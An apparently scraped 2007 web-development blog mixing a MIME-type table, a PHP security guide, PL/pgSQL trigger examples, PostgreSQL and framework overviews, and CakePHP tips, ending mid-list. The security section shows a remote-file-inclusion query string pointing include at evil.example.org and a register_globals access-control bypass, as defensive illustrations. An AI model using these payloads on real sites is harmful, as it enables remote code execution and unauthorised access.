video/mpeg	mpv2
video/quicktime	mov
video/quicktime	qt
video/x-la-asf	lsf
video/x-la-asf	lsx
video/x-ms-asf	asf
video/x-ms-asf	asr
video/x-ms-asf	asx
video/x-msvideo	avi
video/x-sgi-movie	movie
x-world/x-vrml	flr
x-world/x-vrml	vrml
x-world/x-vrml	wrl
x-world/x-vrml	wrz
x-world/x-vrml	xaf
x-world/x-vrml	xof

Mime Types By File Extension

Extension	Type/sub-type
	application/octet-stream
323	text/h323
acx	application/internet-property-stream
ai	application/postscript
aif	audio/x-aiff
aifc	audio/x-aiff
aiff	audio/x-aiff
asf	video/x-ms-asf
asr	video/x-ms-asf
asx	video/x-ms-asf
au	audio/basic
avi	video/x-msvideo
axs	application/olescript
bas	text/plain
bcpio	application/x-bcpio
bin	application/octet-stream
bmp	image/bmp
c	text/plain
cat	application/vnd.ms-pkiseccat
cdf	application/x-cdf
cer	application/x-x509-ca-cert
class	application/octet-stream
clp	application/x-msclip
cmx	image/x-cmx
cod	image/cis-cod
cpio	application/x-cpio
crd	application/x-mscardfile
crl	application/pkix-crl
crt	application/x-x509-ca-cert
csh	application/x-csh
css	text/css
dcr	application/x-director
der	application/x-x509-ca-cert
dir	application/x-director
dll	application/x-msdownload
dms	application/octet-stream
doc	application/msword
dot	application/msword
dvi	application/x-dvi
dxr	application/x-director
eps	application/postscript
etx	text/x-setext
evy	application/envoy
exe	application/octet-stream
fif	application/fractals
flr	x-world/x-vrml
gif	image/gif
gtar	application/x-gtar
gz	application/x-gzip
h	text/plain
hdf	application/x-hdf
hlp	application/winhlp
hqx	application/mac-binhex40
hta	application/hta
htc	text/x-component
htm	text/html
html	text/html
htt	text/webviewhtml
ico	image/x-icon
ief	image/ief
iii	application/x-iphone
ins	application/x-internet-signup
isp	application/x-internet-signup
jfif	image/pipeg
jpe	image/jpeg
jpeg	image/jpeg
jpg	image/jpeg
js	application/x-javascript
latex	application/x-latex
lha	application/octet-stream
lsf	video/x-la-asf
lsx	video/x-la-asf
lzh	application/octet-stream
m13	application/x-msmediaview
m14	application/x-msmediaview
m3u	audio/x-mpegurl
man	application/x-troff-man
mdb	application/x-msaccess
me	application/x-troff-me
mht	message/rfc822
mhtml	message/rfc822
mid	audio/mid
mny	application/x-msmoney
mov	video/quicktime
movie	video/x-sgi-movie
mp2	video/mpeg
mp3	audio/mpeg
mpa	video/mpeg
mpe	video/mpeg
mpeg	video/mpeg
mpg	video/mpeg
mpp	application/vnd.ms-project
mpv2	video/mpeg
ms	application/x-troff-ms
mvb	application/x-msmediaview
nws	message/rfc822
oda	application/oda
p10	application/pkcs10
p12	application/x-pkcs12
p7b	application/x-pkcs7-certificates
p7c	application/x-pkcs7-mime
p7m	application/x-pkcs7-mime
p7r	application/x-pkcs7-certreqresp
p7s	application/x-pkcs7-signature
pbm	image/x-portable-bitmap
pdf	application/pdf
pfx	application/x-pkcs12
pgm	image/x-portable-graymap
pko	application/ynd.ms-pkipko
pma	application/x-perfmon
pmc	application/x-perfmon
pml	application/x-perfmon
pmr	application/x-perfmon
pmw	application/x-perfmon
pnm	image/x-portable-anymap
pot,	application/vnd.ms-powerpoint
ppm	image/x-portable-pixmap
pps	application/vnd.ms-powerpoint
ppt	application/vnd.ms-powerpoint
prf	application/pics-rules
ps	application/postscript
pub	application/x-mspublisher
qt	video/quicktime
ra	audio/x-pn-realaudio
ram	audio/x-pn-realaudio
ras	image/x-cmu-raster
rgb	image/x-rgb
rmi	audio/mid
roff	application/x-troff
rtf	application/rtf
rtx	text/richtext
scd	application/x-msschedule
sct	text/scriptlet
setpay	application/set-payment-initiation
setreg	application/set-registration-initiation
sh	application/x-sh
shar	application/x-shar
sit	application/x-stuffit
snd	audio/basic
spc	application/x-pkcs7-certificates
spl	application/futuresplash
src	application/x-wais-source
sst	application/vnd.ms-pkicertstore
stl	application/vnd.ms-pkistl
stm	text/html
svg	image/svg+xml
sv4cpio	application/x-sv4cpio
sv4crc	application/x-sv4crc
swf	application/x-shockwave-flash
t	application/x-troff
tar	application/x-tar
tcl	application/x-tcl
tex	application/x-tex
texi	application/x-texinfo
texinfo	application/x-texinfo
tgz	application/x-compressed
tif	image/tiff
tiff	image/tiff
tr	application/x-troff
trm	application/x-msterminal
tsv	text/tab-separated-values
txt	text/plain
uls	text/iuls
ustar	application/x-ustar
vcf	text/x-vcard
vrml	x-world/x-vrml
wav	audio/x-wav
wcm	application/vnd.ms-works
wdb	application/vnd.ms-works
wks	application/vnd.ms-works
wmf	application/x-msmetafile
wps	application/vnd.ms-works
wri	application/x-mswrite
wrl	x-world/x-vrml
wrz	x-world/x-vrml
xaf	x-world/x-vrml
xbm	image/x-xbitmap
xla	application/vnd.ms-excel
xlc	application/vnd.ms-excel
xlm	application/vnd.ms-excel
xls	application/vnd.ms-excel
xlt	application/vnd.ms-excel
xlw	application/vnd.ms-excel
xof	x-world/x-vrml
xpm	image/x-xpixmap
xwd	image/x-xwindowdump
z	application/x-compress
zip	application/zip

PHP Procedural Language for PostgreSQL

2007-08-12T22:16:00.000-07:00

What is PL/php?

PL/php is a procedural language with hooks into the PostgreSQL database sytem, intended to allow writing of PHP functions for use as functions inside the PostgreSQL database. It was written by Command Prompt, Inc. and has since been open sourced and licensed under the PHP and PostgreSQL (BSD) licenses.

Download and Installation

Please see the installation documentation for instructions on how to install PL/php 1.0. To install the new code, which only works with PostgreSQL 8.0 and 8.1 and is currently in development, see this page instead.

Creating the PL/php language

Please see the documentation on how to create the language in a database once the library is installed. If you are using PostgreSQL 8.1 you must follow these other instructions instead.

Apache 2, PHP 4 & PHP 5 on Windows XP

2007-08-12T20:58:00.000-07:00

This is a comprehensive guide to installing and running Apache 2.2.4 with PHP 4.4.7 and PHP 5.2.3 on Windows XP. It covers all of the steps in detail with lots of screen grabs so you can follow the process visually.

Update: The guide has been updated for PHP 5.2.3. I have also created a new forum here. Please use it if you run into trouble following this guide, I'll be only too happy to help. You don't even need to register to post.

The Guide

I know that the number of sections looks daunting, but that is because I have split the guide up into small manageable chunks. It shouldn't take you longer than a couple of minutes to complete each section.

Downloads

Configure Windows XP for PHP

PHP 4 Settings

PHP 5 Settings

Create a local web site

Setting the Environment Variable

Install Apache

Install the Apache2 Handler

httpd.conf

Creating a Virtual Host

system32/drivers/etc/hosts

Bring Apache to life

Switching to PHP 5

Useful Extras

Adding another web site (detailed version)

Adding another web site (short version)

Build a PHP 4/5 switcher

Run PHP 5 as a module and PHP 4 as CGI together

Troubleshooting

Apache won't start

Your guide doesn't work

They've just released a new version of PHP! Now what?

Can't you just do it for me?

Don't be disheartened by the length of the guide! There is no reason why you can't complete the entire process in under 30 mins, and you'll be rewarded with a versatile and feature-packed local development environment as your reward.

Who is this guide aimed at?

Everyone who posts in php-general / forums asking how to get PHP and Apache running on Windows so they can develop and test locally. Often they'll hit simple but annoying problems that can be easily fixed. I also wrote this as an alternative to using a 'WAMP' installer. Teaching yourself how to install and configure PHP/Apache is a very useful set of skills to have, and well worth adding to your knowledge set.

User Feedback

Since releasing this guide I've received some great emails from people who've had success with it. Here are some of my favourite quotes: "Thank you for your VERY helpful instructions! This point on I can now learn PHP a lot better on my own computer. Cheers!" (Patrick) - "I very much appreciate your guide - you made it really easy" (Terry) - "Richard, this is truly the best guide to setting up php and apache i've seen online. Thank you so much." (Edward) - "Thanks for the great and detailed guide" (Thijs). "Thank you very much for the php guide you spent a lot of hard work to make, the guide covered everything, screenshots, alternatives as well as any possible errors and was precise and right to the point, and because of it i finally have php installed on my computer and i can learn it more conviniently." (Gaurav)

Thanks guys :) BTW all the feedback I have received so far has been incorporated into the guide. Feel free to use the new forum (see below) to send your comments / suggestions.

WAMP Guide Forum

Need help on a more 'interactive' level? Then why not use the WAMP Guide Forum. Post any questions or problems you may have. You don't even need to register to join. We'll help you as much as we can.

PHP Ajax Frameworks

2007-08-08T22:05:00.000-07:00

AJASON : AJASON is a PHP 5 library and JavaScript client
AjaxAC : AjaxAC is an open-source framework written in PHP
Ajax Agent : powerful open source framework for rapidly building Ajax or Rich Internet Applications (RIA)
Cajax : A PHP class library for writing powerfull reloadless web user interfaces using Ajax (DHTML+server-side) style
CakePHP : Cake is a rapid development framework for PHP which uses commonly known design patterns like ActiveRecord, Association Data Mapping, Front Controller and MVC.
Claw : a convenient and intuitive way of development of PHP5 driven object oriented applications.
DutchPIPE : PHP object-oriented framework to turn sites into real-time, multi-user virtual environments:
Flexible Ajax : Flexible Ajax is a handler to combine the remote scripting technology, also known as AJAX (Asynchronous Javascript and XML), with a php-based backend.
Guava : Groundwork Guava is a PHP-based application framework and environment.
HTML_AJAX : HTML_AJAX is a PEAR package for performing AJAX operations from PHP.
HTSWaf : The HTS Web Application Framework is a PHP and Javascript based framework designed to make simple web applications easy to design and implement.
My-BIC : My-BIC AJAX State of Mind for PHP harmony
PAJAJ : PHP Asynchronous Javascript and JSON
PAJAX : Remote (a)synchronous PHP objects in JavaScript
phpAjaxTags : phpAjaxTags is a port to PHP from java tag library AjaxTags.
PHPWebBuilder : PHPWebBuilder is a PHP framework designed following well-known object oriented designs and principles featuring a highly reusable components architecture, metadata based persistence and traditional GUI style programming support.
Qcodo : open-source PHP 5 framework
Simple AJAX : This tutorial demonstrates how to perform AJAX functionality simply and effectively, using the AJAX JSMX library, coupled with the JSON-PHP library.
symfony : open-source PHP5 web framework
TinyAjax : TinyAjax is a small php5 library that allows you to easily add AJAX-functionality to existing pages
xajax : Ajax-enable your PHP application with a simple toolkit that gets the job done fast.
XOAD : PHP based AJAX/XAP object oriented framework that allows you to create richer web applications
Zoop : oop is an object oriented framework for PHP based on a front controller. It is designed to be very fast and efficient and very nice for the programmer to work with.
Zephyr : zephyr is an ajax based framework for php5 developers.

PHP Security Guide

2007-08-07T23:11:00.000-07:00

What Is Security?

Security is a measurement, not a characteristic.

It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.
Security must be balanced with expense.

It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you're protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the
project. Security must be balanced with usability.
It is not uncommon that steps taken to increase the security of a web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but
there isn't one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.
Security must be part of the design.

If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities.Careful programming cannot make up for a poor design.

Basic Steps

Consider illegitimate uses of your application.

A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.
Educate yourself.

The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the web and in print, and several resources are listed in the PHP Security Consortium's
Library at http://phpsec.org/library/.
If nothing else, FILTER ALL EXTERNAL DATA.

Data filtering is the cornerstone of web application security in any language and on any platform. By initializing your variables and filtering all data that comes from an external source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).

Register Globals

The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with register_globals disabled.

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:

<?php

if (authenticated_user())
{
   $authorized = true;
}

if ($authorized)
{
   include '/highly/sensitive/data.php';
}

?>

With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with error_reporting set to E_ALL, so that the use of an uninitialized variable won't be overlooked during development.

Another example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:

<?php

include "$path/script.php";

?>

With register_globals

enabled, this page can be
requested with
?path=http%3A%2F%2Fevil.example.org%2F%3F

in the query string in order to equate this example to the following:

<?php

include 'http://evil.example.org/?/script.php';

?>

If allow_url_fopen
is enabled (which it is by default, even in php.ini-recommended), this will include
the output of http://evil.example.org/ just as if it were a
local file. This is a major security vulnerability, and it is one that has
been discovered in some popular open source applications.

Initializing $path can mitigate this particular risk,
but so does disabling register_globals. Whereas a developer's mistake can lead to an uninitialized variable, disabling

register_globals is a global configuration change that is far less likely to be overlooked.

The convenience is wonderful, and those of us who have had to manually
handle form data in the past appreciate this. However, using the $_POST and
$_GET superglobal arrays is
still very convenient, and it's not worth the added risk to enable
register_globals. While I completely disagree with arguments that equate register_globals
to poor security, I do recommend that it be disabled.

In addition to all of this, disabling
register_globals encourages developers to be mindful of the
origin of data, and this is an important characteristic of any
security-conscious developer.

Data Filtering

As stated previously, data filtering is the cornerstone of web
application security, and this is independent of programming language or
platform. It involves the mechanism by which you determine the validity of
data that is entering and exiting the application, and a good software design
can help developers to:

Ensure that data filtering cannot be bypassed,
Ensure that invalid data cannot be mistaken for valid data,
and
Identify the origin of data.

Opinions about how to ensure that data filtering cannot be bypassed
vary, but there are two general approaches that seem to be the most common,
and both of these provide a sufficient level of assurance.

The Dispatch Method

One method is to have a single PHP script available directly from the
web (via URL). Everything else is a module included with
include or require as needed. This
method usually requires that a GET variable be passed along
with every URL, identifying the task. This GET variable can
be considered the replacement for the script name that would be used in a more
simplistic design. For example:

http://example.org/dispatch.php?task=print_form

The file dispatch.php is the only file within
document root. This allows a developer to do two important things:

Implement some global security measures at the top of
dispatch.php and be assured that these measures
cannot be bypassed.
Easily see that data filtering takes place when necessary, by
focusing on the control flow of a specific task.

To further explain this, consider the following example
dispatch.php script:

<?php

/* Global security measures */

switch ($_GET['task'])
{
   case 'print_form':
       include '/inc/presentation/form.inc';
       break;

   case 'process_form':
       $form_valid = false;
       include '/inc/logic/process.inc';
       if ($form_valid)
       {
           include '/inc/presentation/end.inc';
       }
       else
       {
           include '/inc/presentation/form.inc';
       }
       break;

   default:
       include '/inc/presentation/index.inc';
       break;
}

?>

If this is the only public PHP script, then it should be clear that the
design of this application ensures that any global security measures taken at
the top cannot be bypassed. It also lets a developer easily see the control
flow for a specific task. For example, instead of glancing through a lot of
code, it is easy to see that end.inc is only displayed to a
user when $form_valid is true, and
because it is initialized as false just before
process.inc is included, it is clear that the logic within
process.inc must set it to true,
otherwise the form is displayed again (presumably with appropriate error
messages).

Note
If you use a directory index file such as
index.php (instead of dispatch.php), you
can use URLs such as
http://example.org/?task=print_form.
You can also use the Apache ForceType directive or
mod_rewrite to accommodate URLs such as

http://example.org/app/print-form.

The Include Method

Another approach is to have a single module that is responsible for all
security measures. This module is included at the top (or very near the top)
of all PHP scripts that are public (available via URL). Consider the following
security.inc script:

<?php

switch ($_POST['form'])
{
   case 'login':
       $allowed = array();
       $allowed[] = 'form';
       $allowed[] = 'username';
       $allowed[] = 'password';

       $sent = array_keys($_POST);

       if ($allowed == $sent)
       {
           include '/inc/logic/process.inc';
       }

       break;
}

?>

In this example, each form that is submitted is expected to have a form
variable named form that uniquely identifies it, and

security.inc has a separate case to handle the data
filtering for that particular form. An example of an HTML form that fulfills
this requirement is as follows:

<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>

<input type="submit" />
</form>

An array named $allowed is used to identify exactly
which form variables are allowed, and this list must be identical in order for
the form to be processed. Control flow is determined elsewhere, and
process.inc is where the actual data filtering takes
place.

Note
A good way to ensure that security.inc is
always included at the top of every PHP script is to use the

auto_prepend_file directive.

Filtering Examples

It is important to take a whitelist approach to your data filtering, and
while it is impossible to give examples for every type of form data you may
encounter, a few examples can help to illustrate a sound approach.

The following validates an email address:

<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
   $clean['email'] = $_POST['email'];
}

?>

The following ensures that $_POST['color'] is

red, green, or
blue:

<?php

$clean = array();

switch ($_POST['color'])
{
   case 'red':
   case 'green':
   case 'blue':
       $clean['color'] = $_POST['color'];
       break;
}

?>

The following example ensures that $_POST['num'] is
an integer:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
   $clean['num'] = $_POST['num'];
}

?>

The following example ensures that $_POST['num'] is a
float:

<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
   $clean['num'] = $_POST['num'];
}

?>

Naming Conventions

Each of the previous examples make use of an array named
$clean. This illustrates a good practice that can help
developers identify whether data is potentially tainted. You should never make
a practice of validating data and leaving it in $_POST or

$_GET, because it is important for developers to always be
suspicious of data within these superglobal arrays.

In addition, a more liberal use of $clean can allow
you to consider everything else to be tainted, and this more closely resembles
a whitelist approach and therefore offers an increased level of
security.

If you only store data in $clean after it has been
validated, the only risk in a failure to validate something is that you might
reference an array element that doesn't exist rather than potentially tainted
data.

Timing

Once a PHP script begins processing, the entire HTTP request has been
received. This means that the user does not have another opportunity to send
data, and therefore no data can be injected into your script (even if
register_globals is enabled). This is why initializing your
variables is such a good practice.

Error Reporting

In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting
is pretty simplistic. Aside from careful programming, it relies mostly upon a
few specific PHP configuration directives:

error_reporting
This directive sets the level of error reporting desired. It is
strongly suggested that you set this to E_ALL for
both development and production.
display_errors
This directive determines whether errors should be displayed on
the screen (included in the output). You should develop with this set
to On, so that you can be alerted to errors during
development, and you should set this to Off for
production, so that errors are hidden from the users (and potential
attackers).
log_errors
This directive determines whether errors should be written to a
log. While this may raise performance concerns, it is desirable that
errors are rare. If logging errors presents a strain on the disk due
to the heavy I/O, you probably have larger concerns than the
performance of your application. You should set this directive to
On in production.
error_log
This directive indicates the location of the log file to which
errors are written. Make sure that the web server has write privileges
for the specified file.

Having error_reporting set to

E_ALL will help to enforce the initialization of variables,
because a reference to an undefined variable generates a notice.

Note
Each of these directives can be set with
ini_set(), in case you do not have access to
php.ini or another method of setting these
directives.
A good reference on all error handling and reporting functions is in the
PHP manual:

http://www.php.net/manual/en/ref.errorfunc.php
PHP 5 includes exception handling. For more information, see:

http://www.php.net/manual/language.exceptions.php

< Previous	Next >
Table of Contents	Form Processing

Php-PgSql Example of Function

2007-08-05T22:46:00.000-07:00

Examples

PL/pgSQL can be used to define trigger procedures. A trigger procedure is created with the CREATE FUNCTION command as a function with no arguments and a return type of OPAQUE. Note that the function must be declared with no arguments even if it expects to receive arguments specified in CREATE TRIGGER --- trigger arguments are passed via TG_ARGV, as described below.

When a PL/pgSQL function is called as a trigger, several special variables are created automatically in the top-level block. They are:

NEW: Data type RECORD; variable holding the new database row for INSERT/UPDATE
operations in ROW level triggers.
OLD: Data type RECORD; variable holding the old database row for UPDATE/DELETE
operations in ROW level triggers.
TG_NAME: Data type name; variable that contains the name of the trigger actually
fired.
TG_WHEN: Data type text; a string of either
BEFORE or AFTER
depending on the trigger's definition.
TG_LEVEL: Data type text; a string of either
ROW or STATEMENT depending on the
trigger's definition.
TG_OP: Data type text; a string of
INSERT, UPDATE
or DELETE telling
for which operation the trigger is fired.
TG_RELID: Data type oid; the object ID of the table that caused the
trigger invocation.
TG_RELNAME: Data type name; the name of the table that caused the trigger
invocation.
TG_NARGS: Data type integer; the number of arguments given to the trigger
procedure in the CREATE TRIGGER statement.
TG_ARGV[]: Data type array of text; the arguments from
the CREATE TRIGGER statement.
The index counts from 0 and can be given as an expression. Invalid
indices (< 0 or >= tg_nargs) result in a NULL value.

A trigger function must return either NULL or a record/row value having exactly the structure of the table the trigger was fired for. Triggers fired BEFORE may return NULL to signal the trigger manager to skip the rest of the operation for this row (ie, subsequent triggers
are not fired, and the INSERT/UPDATE/DELETE does not occur for this row). If a non-NULL value is returned then the operation proceeds with that row value. Note that returning a row value different from the original value of NEW alters the row that will be inserted or updated.
It is possible to replace single values directly in NEW and return that, or to build a complete new record/row to return.

The return value of a trigger fired AFTER is ignored; it may as well always return a NULL value. But an AFTER trigger can still abort the operation by raising an error.

Example 23-1. A PL/pgSQL Trigger Procedure Example

This example trigger ensures that any time a row is inserted or updated in the table, the current user name and time are stamped into the row. And it ensures that an employee's name is given and that the salary is a positive value.

CREATE TABLE emp (
   empname text,
   salary integer,
   last_date timestamp,
   last_user text
);

CREATE FUNCTION emp_stamp () RETURNS OPAQUE AS '
   BEGIN
       -- Check that empname and salary are given
       IF NEW.empname ISNULL THEN
           RAISE EXCEPTION ''empname cannot be NULL value'';
       END IF;
       IF NEW.salary ISNULL THEN
           RAISE EXCEPTION ''% cannot have NULL salary'', NEW.empname;
       END IF;

       -- Who works for us when she must pay for?
       IF NEW.salary < 0 THEN
           RAISE EXCEPTION ''% cannot have a negative salary'', NEW.empname;
       END IF;

       -- Remember who changed the payroll when
       NEW.last_date := ''now'';
       NEW.last_user := current_user;
       RETURN NEW;
   END;
' LANGUAGE 'plpgsql';

CREATE TRIGGER emp_stamp BEFORE INSERT OR UPDATE ON emp
   FOR EACH ROW EXECUTE PROCEDURE emp_stamp();
    Here are only a few functions to demonstrate how easy it is to
 write PL/pgSQL
 functions. For more complex examples the programmer
 might look at the regression test for PL/pgSQL.
    One painful detail in writing functions in PL/pgSQL is the handling of single quotes. The function's source text in CREATE FUNCTION must
 be a literal string. Single quotes inside of literal strings must be either doubled or quoted with a backslash. We are still looking for
 an elegant alternative. In the meantime, doubling the single quotes as in the examples below should be used. Any solution for this
 in future versions of PostgreSQL will be forward compatible.
Example 2. A Simple PL/pgSQL Function to Increment an Integer
  The following two PL/pgSQL functions are identical to their counterparts from the C language function discussion. This
  function receives an integer and increments it by one, returning the incremented value.
 
CREATE FUNCTION add_one (integer) RETURNS INTEGER AS '
 BEGIN
     RETURN $1 + 1;
 END;
' LANGUAGE 'plpgsql';
Example 3. A Simple PL/pgSQL Function to Concatenate Text
     This function receives two text parameters and returns the result of concatenating them.
 
CREATE FUNCTION concat_text (TEXT, TEXT) RETURNS TEXT AS '
 BEGIN
     RETURN $1 || $2;
 END;
' LANGUAGE 'plpgsql';
Example 4. A PL/pgSQL Function on Composite Type
     In this example, we take EMP (a table) and an integer as arguments to our function, which returns
  a boolean. If the salary field of the EMP table is NULL, we return f. Otherwise we compare with
  that field with the integer passed to the function and return the boolean result of the comparison (t
  or f). This is the PL/pgSQL equivalent to the example from the C functions.
 
CREATE FUNCTION c_overpaid (EMP, INTEGER) RETURNS BOOLEAN AS '
 DECLARE
     emprec ALIAS FOR $1;
     sallim ALIAS FOR $2;
 BEGIN
     IF emprec.salary ISNULL THEN
         RETURN ''f'';
     END IF;
     RETURN emprec.salary > sallim;
 END;
' LANGUAGE 'plpgsql';

PostgreSQL: The world's most advanced open source database

2007-07-26T23:32:00.000-07:00

Download Postgre Sql PgAdmin : Download Now Version 4.1.3

PostgreSQL is a powerful, open source relational database system. It has
more than 15 years of active development and a proven architecture that has
earned it a strong reputation for reliability, data integrity, and
correctness. It runs on all major operating systems, including Linux, UNIX (AIX,
BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is
fully ACID compliant, has full support for foreign keys, joins, views, triggers,
and stored procedures (in multiple languages). It includes most SQL92 and SQL99
data types, including INTEGER, NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL,
and TIMESTAMP. It also supports storage of binary large objects, including pictures,
sounds, or video. It has native programming interfaces for C/C++, Java, .Net, Perl,
Python, Ruby, Tcl, ODBC, among others.

An enterprise class database, PostgreSQL boasts sophisticated features
such as Multi-Version Concurrency Control (MVCC), point in time recovery,
tablespaces, asynchronous replication, nested transactions (savepoints),
online/hot backups, a sophisticated query planner/optimizer, and write ahead logging
for fault tolerance. It supports international character sets, multibyte
character encodings, Unicode, and it is locale-aware for sorting,
case-sensitivity, and formatting. It is highly scalable both in the sheer quantity
of data it can manage and in the number of concurrent users it can
accommodate. There are active PostgreSQL systems in production environments that
manage in excess of 4 terabytes of data. Some general PostgreSQL limits are
included in the table below.

Limit	Value
Maximum Database Size	Unlimited
Maximum Table Size	32 TB
Maximum Row Size	1.6 TB
Maximum Field Size	1 GB
Maximum Rows per Table	Unlimited
Maximum Columns per Table	250 - 1600 depending on column types
Maximum Indexes per Table	Unlimited

PostgreSQL has won praise from its users and industry recognition, including the Linux New Media Award for Best Database System and three time winner of the The Linux Journal Editors' Choice Award for best DBMS.

Featureful and Standards Compliant

PostgreSQL prides itself in standards compliance. Its SQL implementation
strongly conforms to the ANSI-SQL 92/99 standards. It has full support for
subqueries (including subselects in the FROM clause), read-committed and
serializable transaction isolation levels. And while PostgreSQL has a fully
relational system catalog which itself supports multiple schemas per database,
its catalog is also accessible through the Information Schema as defined in the
SQL standard.

Data integrity features include (compound) primary keys, foreign keys with
restricting and cascading updates/deletes, check constraints, unique
constraints, and not null constraints.

It also has a host of extensions and advanced features. Among the
conveniences are auto-increment columns through sequences, and
LIMIT/OFFSET allowing the return of partial result
sets. PostgreSQL supports compound, unique, partial, and functional indexes
which can use any of its B-tree, R-tree, hash, or GiST storage methods.

GiST

(Generalized Search Tree) indexing is an advanced system
which brings together a wide array of different sorting and searching algorithms
including B-tree, B+-tree, R-tree, partial sum trees, ranked B+-trees and many
others. It also provides an interface which allows both the creation of custom
data types as well as extensible query methods with which to search them. Thus,
GiST offers the flexibility to specify what you store,
how you store it, and the ability to define new
ways to search through it --- ways that far exceed those offered by
standard B-tree, R-tree and other generalized search algorithms.

GiST serves as a foundation for many public projects that use PostgreSQL
such as OpenFTS and PostGIS. OpenFTS (Open Source Full
Text Search engine) provides online indexing of data and relevance ranking for
database searching. PostGIS is a project which adds support for geographic
objects in PostgreSQL, allowing it to be used as a spatial database for
geographic information systems (GIS), much like ESRI's SDE or Oracle's Spatial
extension.

Other advanced features include table inheritance, a rules systems, and
database events. Table inheritance puts an object oriented slant on table
creation, allowing database designers to derive new tables
from other tables, treating them as base classes. Even better, PostgreSQL
supports both single and multiple inheritance in this manner.

The rules system, also called the query rewrite
system, allows the database designer to create rules which identify
specific operations for a given table or view, and dynamically transform them
into alternate operations when they are processed.

The events system is an interprocess communication system in which
messages and events can be transmitted between clients using the
LISTEN and NOTIFY commands, allowing both
simple peer to peer communication and advanced coordination on database
events. Since notifications can be issued from triggers and stored procedures,
PostgreSQL clients can monitor database events such as table updates, inserts,
or deletes as they happen.

Highly Customizable

PostgreSQL runs stored procedures in more than a dozen programming languages, including Java, Perl, Python, Ruby, Tcl, C/C++,
and its own PL/pgSQL, which is similar to Oracle's PL/SQL. Included with its
standard function library are hundreds of built-in functions that range from
basic math and string operations to cryptography and Oracle
compatibility. Triggers and stored procedures can be written in C and loaded
into the database as a library, allowing great flexibility in extending its
capabilities. Similarly, PostgreSQL includes a framework that allows developers
to define and create their own custom data types along with supporting functions
and operators that define their behavior. As a result, a host of advanced data
types have been created that range from geometric and spatial primitives to
network addresses to even ISBN/ISSN (International Standard Book
Number/International Standard Serial Number) data types, all of which can be
optionally added to the system.

Just as there are many procedure languages supported by PostgreSQL, there
are also many library interfaces as well, allowing various languages both
compiled and interpreted to interface with PostgreSQL. There are interfaces for
Java (JDBC), ODBC, Perl, Python, Ruby, C, C++, PHP, Lisp, Scheme, and Qt just to
name a few.

Best of all, PostgreSQL's source code is available under the most liberal
open source license: the BSD license. This license gives you the freedom to use,
modify and distribute PostgreSQL in any form you like, open or closed
source. Any modifications, enhancements, or changes you make are yours to do
with as you please. As such, PostgreSQL is not only a powerful database system
capable of running the enterprise, it is a development platform upon which to
develop in-house, web, or commercial software products that require a capable
RDBMS.

Yahoo! User Interface Library

2007-07-22T22:40:00.000-07:00

The Yahoo! User Interface (YUI) Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML and AJAX. The YUI Library also includes several core CSS resources. All components in the YUI Library have been released as open source under a BSD license and are free for all uses.

Download the entire library, API documentation, and functional examples from Sourceforge.

Using YUI:

Getting Started

Licensing

Components

Design Patterns

Articles

Cheat Sheets

Support & Community

Filing Bugs and Feature Requests

Searchable API Documentation

API docs are availabe for every YUI component. You can search the API documentation with instant filtering on the main API page.

Ultimate Web 2.0 Layer Styles

2007-07-17T21:56:00.000-07:00

Web 2.0 Layer Layout Badges Gradients by Photoshop

Create your Web look great in Web 2.0 Styles with Photoshop (.PSD, .ASL, .PNG, .grd)

1. Ultimate Web 2.0 Layer Styles

131 Photoshop Layer Styles created in .ASL ( Photoshop Layer Style ) format.

2. 10 Web Layout Design Elements

3. Web 2.0 Badges

Badges are a key requirement for any basic website too. Here is a set of very cool Web 2.0 Badges for you in .PSD and .PNG formats.

4. Ultimate Web 2.0 Gradients

Gradients are one of the most important aspects to be considered while designing a Web 2.0 Site.

21 Things You Must Know About CakePHP

2007-07-16T01:56:00.000-07:00

Easily creating static pages

I needed to create several pages that didn't use any models and contained static data inside the default layout. My first thought was to create a controller for these pages and define an action for each static page I needed. However, this solution seemed tedious and would make it difficult to quickly add new pages. Enter the pages controller - simply create a view inside the views/pages/ folder and it'll automatically be rendered in /pages. For example, if I created /views/pages/matt.thtml it would be accessible via http://www.example.com/pages/matt

Static pages - Adjusting the page title

If you're using the pages controller and you need to change the page title, add the following to your view:
<? $this->pageTitle = 'Title of your page.'; ?>

Static pages - Adjusting other data sent to the layout

If you need to send data to the layout (such as a variable indicating what section to highlight on the nav bar), add this to your view:

<? $this->_viewVars['somedata'] = array('some','data'); ?>

That array should then be accessible as $somedata inside your layout.

Creating a simple admin center

